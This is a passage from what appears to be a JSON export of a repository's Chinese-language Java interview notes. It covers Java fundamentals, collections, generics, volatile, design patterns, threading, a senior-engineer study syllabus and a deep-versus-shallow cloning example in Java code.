enumo = vector.elements();\n                while (enumo.hasMoreElements()) {\n                        enumo.nextElement().update();\n                }\n        }\n}\n\npublic class MySubject extends AbstractSubject {\n\n        @Override\n        public void operation() {\n                System.out.println(\"update self!\");  \n        notifyObservers();\n        }\n}\n\npublic class ObserverTest {\n        public static void main(String[] args) {\n                Subject sub = new MySubject();\n                sub.add(new Observer1());\n                sub.add(new Observer2());\n                sub.operation();\n        }\n}\n```\n"
  },
  {
    "path": "docs/android/Android-Interview/Java/Java面试题-1.md",
    "content": "### 1. JRE与JDK的区别？\n\nJRE:java运行时的环境，JDK:包含JRE并且可以查看源码\n\n### 2. Java中的数据类型都有哪些?\n\n分别是8种基本数据类型:byte、short、int、long、float、double、boolean、char\n\n除8种以外统称为引用类型,例如:String类、Object类、数组及自己创建的类等\n\n### 3. 等号“==”与equals的区别？\n\n\"==\"比较的是栈上的值(基本数据类型比较值的方式)\n\nequlas比较的是堆上的值(引用类型比较值的方式)\n\n### 4. i++与++i的区别？\n\ni++为代码执行后自加1，++i为代码执行前自加1\n\n### 5. break和continue和return的区别？\n\nbreak:跳出整个循环，continue:跳出本次循环,进入下一次循环，return:跳出方法,结束这个方法,并返回一个数据\n\n### 6. int类型和String类型之间的互相转换?\n\nint -->String常用的方法:\n\n- 字符串拼接\n\n- String b = String.valueof(int a)方法\n\nString -->int常用的方法:\n\n- int i = Integer.valueof(String a)方法\n\n- int i = Integer.parseInt(String a)方法\n\n### 7. &、|与&&、||的区别?\n\n&、| :为位运算符可以进行位运算,符号两边都需要判断才会结束判断,效率低\n\n&&、||:为逻辑判断符用来进行逻辑判断,从左到右判断,一面为否就结束判断,效率高\n\n### 8. swich()语句中小括号能使用String类型数据么?\n\n- 只用JDK1.7版本以后才可以使用String类型数据\n- long类型数据任何版本都不可以使用\n\n### 9. 循环都有哪些?\n\n- for循环\n- for each循环\n- while循环\n- do while 循环 (先执行一次)\n- 递归(方法自己调用自己)\n\n### 10. 类的结构是什么?\n\n- 成员变量\n- 构造器(构造方法)(不可以被static修饰)\n- 普通方法\n- 代码块\n- 内部类\n\n### 11. 图解java面试题 - JVM\n\n内容大纲\n\n![img](img/jvm1.png)\n\nGC是什么?为什么要有GC?\n\n![img](img/jvm2.png)\n\n垃圾回收的优点和原理,并考虑两种回收机制\n\n![img](img/jvm3.png)\n\n垃圾回收器的基本原理是什么\n\n![img](img/gc基本原理.png)\n\nJava中会有内存泄漏吗\n\n![img](img/jvm4.png)\n\nClassLoader如何加载class\n\n![img](img/jvm5.png)\n\nJVM内存模型图\n\n![img](img/jvm6.png)"
  },
  {
    "path": "docs/android/Android-Interview/Java/Java面试题-2.md",
    "content": "**1.Java泛型中的泛型参数能不能是基本类型，比如ArrayList<T>中的T可不可以是int，为什么？ArrayList<String>中可不可以插入数字，如果可以，请用代码示例，如果不可以，请说明原因？**\n\n答：不能，泛型要求能包容的是对象类型，而基本类型在java里不属于对象。\n\nArrayList&lt;String>中不可以插入数字，因为他的泛型参数规定是String类型，所以只能插入字符串。但是如果非要插入数字，有三种方法可以解决。比如泛型参数改成Integer，或者不声明泛型类型或者是数字和空字符串拼接。\n\n**2.什么是值传递和引用传递？**\n\n答：值传递：传递的是实际参数的一个副本，这个值可能是基本类型，也可能是引用类型的地址。意思指的是在方法调用时，传递的参数是按值的拷贝传递。\n\n引用传递：传递的是实际参数的地址的一个副本。意思指的是在方法调用时，传递的参数是按引用进行传递，其实传递的引用的地址，也就是变量所对应的内存空间的地址。\n\n在java中，只有值传递.引用传递其实也就是内存地址值的传递。\n\n**3.Java集合类框架的基本接口有哪些？请说明各自的用途**\n\n- Collection：代表一组对象，每一个对象都是它的子元素。\n- Set：不包含重复元素的Collection。\n- List：有顺序的collection，并且可以包含重复元素。\n- Map：可以把键(key)映射到值(value)的对象，键不能重复。\n\n**4.下面的代码中list对象总共扩容了几次，请详细讲述一下ArrayList的扩容规则。**\n```java\nArrayList<String> list = new ArrayList<>();\n\nfor (int i = 0; i < 20; i++) {\n    list.add(Integer.toString(i));\n}\n```\n答：总共扩容了2次。它默认是大小（size）是10个，每次扩容都会比较现在的容量是否够用，如果不够用就扩容1.5倍，调用Arrays.copyOf方法，所以每次扩容都是new一个新的数组！如果一个list初始化容量为10，如果需要添加1000个对象，需要初始化11次，而每次都生成新的数组对象，将原来的对象复制到新数组对象里，就是说每次都要丢弃原来的数组对象，这样的操作确实特别费时又占用内存（虽说只是复制对象的引用，但数组对象本身也是需要占用内存的）。看来如果元素很多的话，估计数量初始化一个容量还是很有必要的。\n\n**5.请详细讲述一下RandomAccess接口有什么作用**\n\n答：RandomAccess用来当标记的，是一种标记接口，接口的非典型用法。意思是，随机访问任意下标元素都比较快。用处，当要实现某些算法时，会判断当前类是否实现了RandomAccess接口，会根据结果选择不同的算法\n\n**6. 请详细讲述一下HashMap的内部实现原理。**\n\n答：HashMap的底层实现都是数组+链表结构实现的。添加、删除、获取元素时都是先计算hash，根据hash和table.length计算index也就是table数组的下标，然后进行相应操作。HashMap创建时会默认初始化时创建一个默认容量为16的Entry数组，默认加载因子为0.75，同时设置临界值为16*0.75。\n\n**7. 请编写一段Java代码，对数组{1, 2, 3, 4, 5, 6, 7, 8, 9, 0}进行随机排序。**\n\n答：代码如下\n\n![随机排序](img/随机排序.png) \n\n打印后的结果是：\n\n```\n8 0 9 2 3 5 4 7 6 1\n```\n\n**8. 请用您认为最优的算法计算斐波那契数列：F(n)=F(n-1)+F(n-2) (n为自然数，F(0)=0, F(1)=1)。**\n\n答：\n\n![斐波那契数列](img/斐波那契数列.png)\n\n**9. 请详细讲述一下Java中volatile关键字的作用。**\n\n答：用volatile修饰的变量，线程在每次使用变量的时候，都会读取变量修改后的最的值。volatile很容易被误用，用来进行原子性操作。\n\n主要用在多线程，同步变量。 线程为了提高效率，将某成员变量(如A)拷贝了一份（如B），线程中对A的访问其实访问的是B。只在某些动作时才进行A和B的同步。因此存在A和B不一致的情况。volatile就是用来避免这种情况的。volatile告诉jvm， 它所修饰的变量不保留拷贝，直接访问主内存中的（也就是上面说的A)。在Java内存模型中，有main memory，每个线程也有自己的memory (例如寄存器)。为了性能，一个线程会在自己的memory中保持要访问的变量的副本。这样就会出现同一个变量在某个瞬间，在一个线程的memory中的值可能与另外一个线程memory中的值，或者main memory中的值不一致的情况。\n\n一个变量声明为volatile，就意味着这个变量是随时会被其他线程修改的，因此不能将它cache在线程memory中。\n\n**10. 写一段代码在遍历 ArrayList 时移除一个元素。**\n\n答：我们知道ArrayList的底层是用数组实现的，如果你删除了其中一个元素，那么后边的元素都会向前移动。所以在遍历时如果删除元素，就要小心了。\n\n第一种方法，用数组下标进行遍历，如果需要删除元素，我们从后向前遍历，这样不论有没有元素删除，我们都不会遗漏未被遍历的元素。\n\n第二种方法，我们使用迭代器。\n```java\nIterator itr = list.iterator();\n\nwhile(itr.hasNext()) {\n      if(...) {\n        itr.remove();\n      }\n}\n```\n总之，如果你的删除操作比较多的话，建议使用LinkedList。\n\n\n**11. 请详细解释一下Java泛型中&lt;? super T>和&lt;? extends T>的作用和区别。**\n\n答：&lt;? super T>表示包括T在内的任何T的父类，&lt;? extends T>表示包括T在内的任何T的子类。\n\n遵循一个原则则是，生产者（Producer）使用extends，消费者（Consumer）使用super。\n\n**生产者使用extends**\n\n如果你需要一个列表提供T类型的元素（即你想从列表中读取T类型的元素），你需要把这个列表声明成&lt; extends T>，比如List&lt; extends Integer>，因此你不能往该列表中添加任何元素。\n\n**消费者使用super**\n\n如果需要一个列表使用T类型的元素（即你想把T类型的元素加入到列表中），你需要把这个列表声明成&lt; super T>，比如List&lt; super Integer>，因此你不能保证从中读取到的元素的类型。\n\n即是生产者，也是消费者\n\n如果一个列表即要生产，又要消费，你不能使用泛型通配符声明列表，比如List&lt;Integer>。\n\n**12. 请用JDBC写一段访问数据库读取数据的代码，SL语句和驱动自己选择。**\n\n![jdbc](img/jdbc.png)\n\n**13. 请谈谈Proxy模式，Adapter模式，Decorator模式以及Façade模式分别的使用场景和区别。**\n\n答：**Proxy模式**是设计模式中的代理模式，比如我去优衣库买衣服，那么我肯定不会直接去优衣库工厂（生产衣服工厂）去买衣服吧，那么我们直接去门店啊或者代理店去买。这些地方其实就是优衣库造衣工厂的代理。\n\n什么时候开始使用呢？当我们需要使用的对象很复杂或者需要很长时间去构造，这时就可以使用代理模式(Proxy)。例如：如果构建一个对象很耗费时间和计算机资源，代理模式(Proxy)允许我们控制这种情况，直到我们需要使用实际的对象。一个代理(Proxy)通常包含和将要使用的对象同样的方法，一旦开始使用这个对象，这些方法将通过代理(Proxy)传递给实际的对象。 一些可以使用代理模式(Proxy)的情况：\n\n一个对象，比如一幅很大的图像，需要载入的时间很长。　　　　\n\n一个需要很长时间才可以完成的计算结果，并且需要在它计算过程中显示中间结果\n\n一个存在于远程计算机上的对象，需要通过网络载入这个远程对象则需要很长时间，特别是在网络传输高峰期。\n\n一个对象只有有限的访问权限，代理模式(Proxy)可以验证用户的权限\n\n代理模式(Proxy)也可以被用来区别一个对象实例的请求和实际的访问，例如：在程序初始化过程中可能建立多个对象，但并不都是马上使用，代理模式(Proxy)可以载入需要的真正的对象。这是一个需要载入和显示一幅很大的图像的程序，当程序启动时，就必须确定要显示的图像，但是实际的图像只能在完全载入后才可以显示！这时我们就可以使用代理模式(Proxy)。\n\n**Adapter模式**是设计模式的适配器模式,它主要是将一个类的接口转换成客户希望的另外一个接口。Adapter模式使得原本由于接口不兼容而不能一起工作的那些类可以在一起工作。\n\n使用场景即系统需要使用现有的类，而这些类的接口不符合系统的接口。\n\n想要建立一个可以重用的类，用于与一些彼此之间没有太大关联的一些类，包括一些可能在将来引进的类一起工作。\n\n两个类所做的事情相同或相似，但是具有不同接口的时候。\n\n旧的系统开发的类已经实现了一些功能，但是客户端却只能以另外接口的形式访问，但我们不希望手动更改原有类的时候。\n\n使用第三方组件，组件接口定义和自己定义的不同，不希望修改自己的接口，但是要使用第三方组件接口的功能。\n\n**Decorator模式**即设计模式中的装饰器模式。它能动态地给一个对象添加一些额外的职责或者行为。就增加功能来说， Decorator模式相比生成子类更为灵活。它提供了改变子类的灵活方案。装饰器模式在不必改变原类文件和使用继承的情况下，动态的扩展一个对象的功能。它是通过创建一个包装对象，也就是装饰来包裹真实的对象。\n\n当用于一组子类时，装饰器模式更加有用。如果你拥有一族子类（从一个父类派生而来），你需要在与子类独立使用情况下添加额外的特性，你可以使用装饰器模式，以避免代码重复和具体子类数量的增加。\n\n**Façade模式**即设计模式的外观设计模式。它为子系统中的一组接口提供一个一致的界面，Facade模式定义了一个高层接口，这个接口使得这一子系统更加容易使用。\n\n应用场景是\n\n当你要为一个复杂子系统提供一个简单接口时。\n\n客户程序与抽象类的实现部分之间存在着很大的依赖性。\n\n当你需要构建一个层次结构的子系统时，使用Facade模式定义子系统中每层的入口点。仅通过facade进行通讯。\n\n**14. OOP的基本特性和设计原则有哪些。**\n\n答：OOP的三大基本特性是抽象与封装，继承与多态。\n\n**1.抽象与封装:**\n\n抽象是把系统中需要处理的数据和在这些数据上的操作结合在一起，根据功能、性质和用途等因素抽象成不同的抽象数据类型。每个抽象数据类型既包含了数据，又包含了针对这些数据的授权操作。在面向对象的程序设计中，抽象数据类型是用“类”这种结构来实现的，每个类里都封装了相关的数据和操作。\n\n封装是指利用抽象数据类型和基于数据的操作结合在一起，数据被保护在抽象数据类型的内部，系统的其他部分只有通过包裹在数据之外被授权的操作，才能与这个抽象数据类型进行交互。\n\n**2. 继承：**\n\n它是与传统方法不同的一个最有特色的方法。它是面向对象的程序中两个类之间的一种关系，即一个类可以从另一个类（即它的父类）继承状态和行为。继承父类的类称为子类。\n\n继承的优越性：通过使用继承，程序员可以在不同的子类中多次重新使用父类中的代码，使程序结构清晰，易于维护和修改，而子类又可以提供一些特殊的行为，这些特殊的行为在父类中是没有的 \n\n**3.多态：**\n\n是指一个程序中同名的方法共存的情况，调用者只需使用同一个方法名，系统会根据不同情况，调用相应的不同方法，从而实现不同的功能。多态性又被称为“一个名字，多个方法”。\n\n设计原则有五种：\n\n**单一职责原则(Single-Resposibility Principle)**。\"对一个类而言，应该仅有一个引起它变化的原因。\"本原则是我们非常熟悉地\"高内聚性原则\"的引申，但是通过将\"职责\"极具创意地定义为\"变化的原因\"，使得本原则极具操作性，尽显大师风范。同时，本原则还揭示了内聚性和耦合生，基本途径就是提高内聚性；如果一个类承担的职责过多，那么这些职责就会相互依赖，一个职责的变化可能会影响另一个职责的履行。其实OOD的实质，就是合理地进行类的职责分配。\n\n**开放封闭原则(Open-Closed principle)。**\"软件实体应该是可以扩展的，但是不可修改。\"本原则紧紧围绕变化展开，变化来临时，如果不必改动软件实体裁的源代码，就能扩充它的行为，那么这个软件实体设计就是满足开放封闭原则的。如果说我们预测到某种变化，或者某种变化发生了，我们应当创建抽象类来隔离以后发生的同类变化。在Java中，这种抽象是指抽象基类或接口；在C++中，这各抽象是指抽象基类或纯抽象基类。当然，没有对所有情况都贴切的模型，我们必须对软件实体应该面对的变化做出选择。\n\n**Liskov替换原则(Liskov-Substituion Principle)**。\"子类型必须能够替换掉它们的基类型。\"本原则和开放封闭原则关系密切，正是子类型的可替换性，才使得使用基类型模块无需修改就可扩充。Liskov替换原则从基于契约的设计演化而来，契约通过为每个方法声明\"先验条件\"和\"后验条件\"；定义子类时，必须遵守这些\"先验条件\"和\"后验条件\"。当前基于契的设计发展势头正劲，对实现\"软件工厂\"的\"组装生产\"梦想是一个有力的支持。\n\n**依赖倒置原则(Dependecy-Inversion Principle)。**\"抽象不应依赖于细节，细节应该依赖于抽象。\"本原则几乎就是软件设计的正本清源之道。因为人解决问题的思考过程是先抽象后具体，从笼统到细节，所以我们先生产出的势必是抽象程度比较高的实体，而后才是更加细节化的实体。于是，\"细节依赖于抽象\"就意味着后来的依赖于先前的，这是自然而然的重用之道。而且，抽象的实体代表着笼而统之的认识，人们总是比较容易正确认识它们，而且本身也是不易变的，依赖于它们是安全的。依赖倒置原则适应了人类认识过程的规律，是面向对象设计的标志所在。\n\n**接口隔离原则(Interface-Segregation Principle)。**\"多个专用接口优于一个单一的通用接口。\"本原则是单一职责原则用于接口设计的自然结果。一个接口应该保证，实现该接口的实例对象可以只呈现为单一的角色；这样，当某个客户程序的要求发生变化，而迫使接口发生改变时，影响到其他客户程序的可能生性小。\n\n良性依赖原则。\"不会在实际中造成危害的依赖关系，都是良性依赖。\"通过分析不难发现，本原则的核心思想是\"务实\"，很好地揭示了极限编程(Extreme Programming)中\"简单设计\"各\"重构\"的理论基础。本原则可以帮助我们抵御\"面向对象设计五大原则\"以及设计模式的诱惑，以免陷入过度设计(Over-engineering)的尴尬境地，带来不必要的复杂性。\n\n**15. 请谈谈Java中的多线程相关的内容以及各种相关的锁。**\n\n答：实现Java中的多线程有两种方式。一是直接继承Thread类，二是实现Runnable接口。通常我们实现Runnabale接口方式去做。好处如下：\n\n(1)适合多个相同程序代码的线程去处理同一资源的情况，把虚拟CPU（线程）同程序的代码，数据有效的分离，较好地体现了面向对象的设计思想。\n\n(2)可以避免由于Java的单继承特性带来的局限。我们经常碰到这样一种情况，即当我们要将已经继承了某一个类的子类放入多线程中，由于一个类不能同时有两个父类，所以不能用继承Thread类的方式，那么，这个类就只能采用实现Runnable接口的方式了。\n\n(3)有利于程序的健壮性，代码能够被多个线程共享，代码与数据是独立的。当多个线程的执行代码来自同一个类的实例时，即称它们共享相同的代码。 多个线程操作相同的数据，与它们的代码无关。当共享访问相同的对象是，即它们共享相同的数据。当线程被构造时，需要的代码和数据通过一个对象作为构造函数 实参传递进去，这个对象就是一个实现了Runnable接口的类的实例\n\nJava中多线程的状态是\n\n1.新建状态（New）：新创建了一个线程对象。\n\n2.就绪状态（Runnable）：线程对象创建后，其他线程调用了该对象的start()方法。该状态的线程位于可运行线程池中，变得可运行，等待获取CPU的使用权。\n\n3.运行状态（Running）：就绪状态的线程获取了CPU，执行程序代码。\n\n4.阻塞状态（Blocked）：阻塞状态是线程因为某种原因放弃CPU使用权，暂时停止运行。直到线程进入就绪状态，才有机会转到运行状态。阻塞的情况分三种：\n\n等待阻塞：运行的线程执行wait()方法，JVM会把该线程放入等待池中。\n\n同步阻塞：运行的线程在获取对象的同步锁时，若该同步锁被别的线程占用，则JVM会把该线程放入锁池中。\n\n其他阻塞：运行的线程执行sleep()或join()方法，或者发出了I/O请求时，JVM会把该线程置为阻塞状态。当sleep()状态超时、join()等待线程终止或者超时、或者I/O处理完毕时，线程重新转入就绪状态。\n\n5.死亡状态（Dead）：线程执行完了或者因异常退出了run()方法，该线程结束生命周期。\n\nJava多线程锁有对象锁和类锁。对象级别锁是一个机制，当你想同步一个非静态方法或者非静态代码块，让在给定的类实例中只有一个线程来执行这个代码块，这就可以使得实例级别的数据是线程安全的。类级别锁是在所有可变的实例或者运行环境中，类级别锁阻止多线程进入同步块，也就是说，如果运行环境中有DemoClass的100个实例，在任何时刻，只能有DemoClass的一个实例来执行它的demoMethod()方法，所有其他的DemoClass实例在其他线程中只能处于阻塞状态，这使得静态数据是线程安全的。"
  },
  {
    "path": "docs/android/Android-Interview/Java/Java高级软件工程师面试考纲.md",
    "content": "如果要应聘高级开发工程师职务，仅仅懂得Java的基础知识是远远不够的，还必须懂得常用数据结构、算法、网络、操作系统等知识。因此本文不会讲解具体的技术，笔者综合自己应聘各大公司的经历，整理了一份大公司对Java高级开发工程师职位的考核纲要，希望可以帮助到需要的人。\n\n当前，市面上有《Java XX宝典》类似的图书，而且图书中的内容都着重在讲解Java最为基础的部分，最严重的是，里面有着大量错误的内容，极具误导性。另外，网上也有各种各样的[Java面试题](http://www.codeceo.com/article/tag/java%E9%9D%A2%E8%AF%95%E9%A2%98)，很多也是着重在Java语言基础上。实际上，如果要应聘高级开发工程师职务，仅仅懂得Java的基础知识是远远不够的，还必须懂得常用数据结构、算法、网络、操作系统等知识。因此本文不会讲解具体的技术，笔者综合自己应聘各大公司的经历，整理了一份大公司对Java高级开发工程师职位的考核纲要，希望可以帮助到需要的人。\n\n## 1 Java基础\n\n**1.1 Collection和Map**\n\n(1)掌握Collection和Map的继承体系。\n\n(2)掌握ArrayList、LinkedList、Vector、Stack、PriorityQueue、HashSet、LinkedHashSet、TreeSet、HashMap、LinkedHashMap、TreeMap、[WeakHashMap](http://www.codeceo.com/article/java-weakhashmap-source.html)、EnumMap、TreeMap、HashTable的特点和实现原理。\n\n(3)掌握CopyOnWriteArrayList、CopyOnWriteArraySet、ConcurrentHashMap的实现原理和适用场景。\n\n**1.2 IO**\n\n(1)掌握InputStream、OutputStream、Reader、Writer的继承体系。\n\n(2)掌握字节流(FileInputStream、DataInputStream、BufferedInputStream、FileOutputSteam、DataOutputStream、BufferedOutputStream)和字符流(BufferedReader、InputStreamReader、FileReader、BufferedWriter、OutputStreamWriter、PrintWriter、FileWriter)，并熟练运用。\n\n(3)掌握NIO实现原理及使用方法。\n\n**1.3 异常**\n\n(1)掌握Throwable继承体系。\n\n(2)掌握异常工作原理。\n\n(3)了解常见受检异常(比如FileNotFoundException)、非受检异常(比如NullPointerException)和错误(比如IOError)。\n\n**1.4 多线程**\n\n(1)掌握[Executor](http://www.codeceo.com/article/java-executor-learning.html)s可以创建的三种(JAVA8增加了一种，共四种)线程池的特点及适用范围。\n\n(2)掌握多线程同步机制，并熟练运用。\n\n**1.5 Socket**\n\n(1)掌握Socket通信原理。\n\n(2)熟练使用多线程结合Socket进行编程。\n\n## 2 Java虚拟机\n\n**2.1 JVM内存区域划分**\n\n(1)掌握程序计数器、堆、虚拟机栈、本地方法栈、方法区（JAVA8已移除）、元空间（JAVA8新增）的作用及基本原理。\n\n(2)掌握堆的划分：新生代（Eden、Survivor1、Survivor2）和老年代的作用及工作原理。\n\n(3)掌握JVM内存参数设置及调优。\n\n**2.2 类加载**\n\n(1)掌握类的加载阶段：加载、链接（验证、准备、解析）、初始化、使用、卸载。\n\n(2)掌握类加载器分类及其应用：启动类加载器、扩展类加载器、应用程序类加载器、自定义加载器。\n\n## 3 J2EE\n\n(1) 掌握JSP内置对象、动作及相关特点和工作原理。\n\n(2) 掌握Servlet的特点和工作原理。\n\n(3) 掌握Spring框架的IOC和AOP实现原理（反射和动态代理）。\n\n(4) 至少掌握一个[MVC框架](http://www.codeceo.com/article/mvc-framework-mvc-design.html)（Spring MVC，Struts等）的工作原理，并熟练运用。\n\n(5) 至少掌握一个ORM框架(Hibernate，MyBatis等)的工作原理，并熟练运用。\n\n## 4 数据结构与算法\n\n(1)掌握线性表和树的特点并熟练运用。\n\n(2)掌握常用排序和查找算法：插入排序(直接插入排序、希尔排序)、选择排序(直接选择排序、堆排序)、交换排序(冒泡排序、快速排序)、归并排序，顺序查找、[二分查找](http://www.codeceo.com/article/binary-search.html)、哈希查找。\n\n(3) 熟练运用常见排序和查找算法思想解决编程问题。\n\n(4)了解几大基本算法：[贪心算法](http://www.codeceo.com/article/greedy-algorithm.html)、分治策略、动态规划。\n\n## 5 计算机网络\n\n(1)掌握网络的分层结构，及每层的功能特点。\n\n(2)掌握TCP/IP的通信原理(三次握手、四次挥手)\n\n## 6 数据库\n\n(1)掌握复杂的SQL语句编写。\n\n(2)掌握数据库的优化（SQL层面和表设计层面）。\n\n(3)至少掌握一款数据库产品。\n\n(4)熟悉高并发、大数据情况下的数据库开发。\n\n## 7 Web技术\n\n(1)掌握AJAX的工作原理。\n\n(2)至少熟悉一款JS框架(比如JQuery)。\n\n## 8 [设计模式](http://www.codeceo.com/article/category/develop/design-patterns)\n\n(1)熟悉常见的设计模式。\n\n(2)会将设计模式理论应用到实际开发中。\n\n## 9 Linux\n\n(1)熟练运用Linux常见命令。\n\n(2)熟悉Linux操作系统基本概念及特点。\n\n(3)熟悉Shell脚本。\n\n## 10 操作系统\n\n(1)掌握操作系统的进程管理。\n\n(2)了解操作系统的I/O。\n\n## 11 正则表达式\n\n(1)掌握常见正则表达式符号。\n\n(2)熟练运用正则表达式解决实际问题(比如匹配电话号码、邮箱、域名等)。"
  },
  {
    "path": "docs/android/Android-Interview/Java/README.md",
    "content": "## Java面试题\n\n- [深拷贝浅拷贝](深拷贝浅拷贝.md)\n- [数据库求差](数据库求差.md)\n- [Java面试题-1](Java面试题-1.md)\n- [Java面试题-2](Java面试题-2.md)\n- [Java高级软件工程师面试考纲](Java高级软件工程师面试考纲.md)\n- [66道经典的Java基础面试题集锦](66道经典的Java基础面试题集锦.md)\n- [115个Java面试题及回答](115个Java面试题及回答.md)\n- [J2SE基础面试核心内容](J2SE基础面试核心内容.md)\n- [J2SE高级面试核心内容](J2SE高级面试核心内容.md)"
  },
  {
    "path": "docs/android/Android-Interview/Java/数据库求差.md",
    "content": "今日，有同学跟我说他在最近在面试的时候，面试官问了他一个很简单的问题，结果他一脸懵逼，他可是有过一年开发经验的，怎么可能会在面试的时候马失前蹄了呢？大家来看下他的问题你们会不会。\n\n![img](http://www.10tiao.com/img.do?url=http%3A//mmbiz.qpic.cn/mmbiz_jpg/3aGGuJWRuJc7PgjGWJCIOVuGNNK96RCSicx4e1PXo9PDQFr53A30iakbx5yZHsicNynHetU2LA8ib5EiaRmyYhaRIPg/0%3Fwx_fmt%3Djpeg)\n\n是很简单的问题吧\n\n我一看，这问题糟了，我也不知道，是很尴尬，我就给了我们公司一位大牛，结果大牛神秘兮兮的给了一张图\n\n![img](http://www.10tiao.com/img.do?url=http%3A//mmbiz.qpic.cn/mmbiz_jpg/3aGGuJWRuJc7PgjGWJCIOVuGNNK96RCScFmic7MYlFtryBFSoYORsEXNyRguDLWqkNVsRibrqAUqicKuTT93TsFdg/0%3Fwx_fmt%3Djpeg)\n\n这一下子我就看懂了，但我就是不说，我就也给他回了这张图\n\n![img](http://www.10tiao.com/img.do?url=http%3A//mmbiz.qpic.cn/mmbiz_jpg/3aGGuJWRuJc7PgjGWJCIOVuGNNK96RCS5PokXV5qDtM5SXCoLc4j9LqZ6T3ZkW8dXHQ6mpD7mabNPicAUBKEVcA/0%3Fwx_fmt%3Djpeg)\n\n这是后来他回我的\n\n但是，不得不说，他还是可以的，一下子他也看懂了，原来这就是个小问题，但是就是这个小细节，他却错失了一次很好的机会。\n\n![img](http://www.10tiao.com/img.do?url=http%3A//mmbiz.qpic.cn/mmbiz_jpg/3aGGuJWRuJc7PgjGWJCIOVuGNNK96RCSTAQic0MyRc5haDx1O7kf3wG6WxrHBsNsickktFzHRPWlkAPcIVPLtticw/0%3Fwx_fmt%3Djpeg)\n\n我也帮大家整理了一些网上面网友遇到过的古怪面试题。可能不全，但也会帮到大家的吧\n\n1、 使用两种方式写出SingleTon.\n\n2、 简单绘制出Sun Hotspot VM的内存结构。并简单说明各自的作用。\n\n3、 实现一个用于生产者-消费者模式的队列。假设队列的固定长度为10，FULL的时候只能消费不能生产，EMPTY的时候只能生产不能消费。\n\n4、 调用A线程的interrupt方法，其在什么情况下会抛出InterruptException（不考虑网络IO的情况）\n\n5、 Sevlet容器如何使用cookie跟踪回话？response.encodeURL(URL)什么情况下生效？\n\n6、 DOM与SAX方式解析XML文件的原理？各自适用的场景是什么？\n\n7、 将一个byte值转化为int值为什么要与0Xff进行&运算？\n\n答案呢，在下面\n\n1.至少有3种写法\n\n2.新生代(eden+2survisor) 老年代 持久代\n\n3.可考虑blockingqueue\n\n4.该线程在wait或者sleep时\n\n5.cookie里边有session id的内容。\n\n6.dom是一口吃，生成节点树~另一个基于事件处理\n\n7.8->32位\n\n试题都很简单，但是越微小越容易出错，编程更是这样，虽然现在代码都会报错，但是我们也应该养成注意细节的好习惯。"
  },
  {
    "path": "docs/android/Android-Interview/Java/深拷贝浅拷贝.md",
    "content": "“纵使面试无数，难敌考官吃素“，昨天去乐视面试，遇到一个从来没有遇到过的考题！\n\n## 请分别实现深度和浅读的对象克隆？\n\n原理：深度克隆和浅度克隆，Object中的克隆方法是浅度克隆。JDK规定了克隆需要满足的一些条件，简要总结一下就是：对某个对象进行克隆，对象的的成员变量如果包括引用类型或者数组，那么克隆的时候其实是不会把这些对象也带着复制到克隆出来的对象里面的，只是复制一个引用，这个引用指向被克隆对象的成员对象，但是基本数据类型是会跟着被带到克隆对象里面去的。而深度可能就是把对象的所有属性都统统复制一份新的到目标对象里面去。简单画个对比图：\n\n![img](img/clone1.png)\n\n![img](img/clone2.png)\n\n## 实现方式\n\n- 实现Serializable接口，通过对象的序列化和反序列化实现克隆，可以实现真正的深度克隆；\n\n- 实现Cloneable接口并重写Object类中的clone()方法，即可实现浅度克隆。\n\n代码\n\nCar.java\n```java\npublic class Car implements Serializable {\n    \n    private static final long serialVersionUID = 1L;\n    \n    private String brand;//品牌\n    private int maxSpeed;//最高时速\n\n    public Car(String brand, int maxSpeed) {\n        this.brand = brand;\n        this.maxSpeed = maxSpeed;\n    }\n\n    public String getBrand() {\n        return brand;\n    }\n\n    public void setBrand(String brand) {\n        this.brand = brand;\n    }\n\n    public int getMaxSpeed() {\n        return maxSpeed;\n    }\n\n    public void setMaxSpeed(int maxSpeed) {\n        this.maxSpeed = maxSpeed;\n    }\n\n    @Override\n    public String toString() {\n        return \"Car{\" +\n                \"brand='\" + brand + '\\'' +\n                \", maxSpeed=\" + maxSpeed +\n                '}';\n    }\n}\n```\nPerson.java\n```java\npublic class Person implements Serializable {\n    private static final long serialVersionUID = 1L;\n\n    private String name;//姓名\n    private int age;//年龄\n    private Car car;//座驾\n\n    public Person(String name, int age, Car car) {\n        this.name = name;\n        this.age = age;\n        this.car = car;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public int getAge() {\n        return age;\n    }\n\n    public void setAge(int age) {\n        this.age = age;\n    }\n\n    public Car getCar() {\n        return car;\n    }\n\n    public void setCar(Car car) {\n        this.car = car;\n    }\n\n    @Override\n    public String toString() {\n        return \"Person{\" +\n                \"name='\" + name + '\\'' +\n                \", age=\" + age +\n                \", car=\" + car +\n                '}';\n    }\n}\n```\nPerson2.java\n```java\npublic class Person2 implements Serializable {\n    private static final long serialVersionUID = 1L;\n\n    private String name;//姓名\n    private int age;//年龄\n    private Car car;//座驾\n\n    public Person2(String name, int age, Car car) {\n        this.name = name;\n        this.age = age;\n        this.car = car;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public int getAge() {\n        return age;\n    }\n\n    public void setAge(int age) {\n        this.age = age;\n    }\n\n    public Car getCar() {\n        return car;\n    }\n\n    public void setCar(Car car) {\n        this.car = car;\n    }\n\n    @Override\n    protected Object clone(){\n        Person2 s= null;\n        try {\n            s = (Person2) Person2.super.clone();\n        } catch (CloneNotSupportedException e) {\n            e.printStackTrace();\n        }\n        return s;\n    }\n\n    @Override\n    public String toString() {\n        return \"Person{\" +\n                \"name='\" + name + '\\'' +\n                \", age=\" + age +\n                \", car=\" + car +\n                '}';\n    }\n}\n```\nCloneUtil.java\n```java\npublic class CloneUtil {\n\n    private CloneUtil() {\n        throw new AssertionError();\n    }\n    \n    public static <T extends Serializable> T clone(T object) throws IOException, \n            ClassNotFoundException {\n        // 说明：调用ByteArrayOutputStream或ByteArrayInputStream对象的close方法没有任何意义\n        // 这两个基于内存的流只要垃圾回收器清理对象就能够释放资源，这一点不同于对外资源(如文件流)的释放\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(baos);\n        oos.writeObject(object);\n\n        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());\n        ObjectInputStream ois = new ObjectInputStream(bais);\n        return (T) ois.readObject();\n    }\n}\n```\nCloneTest\n```java\npublic class CloneTest {\n    public static void main(String[] args){\n        try {\n            // 深拷贝\n            Person p1 = new Person(\"xiaoming\",18,new Car(\"Benz\",300));\n            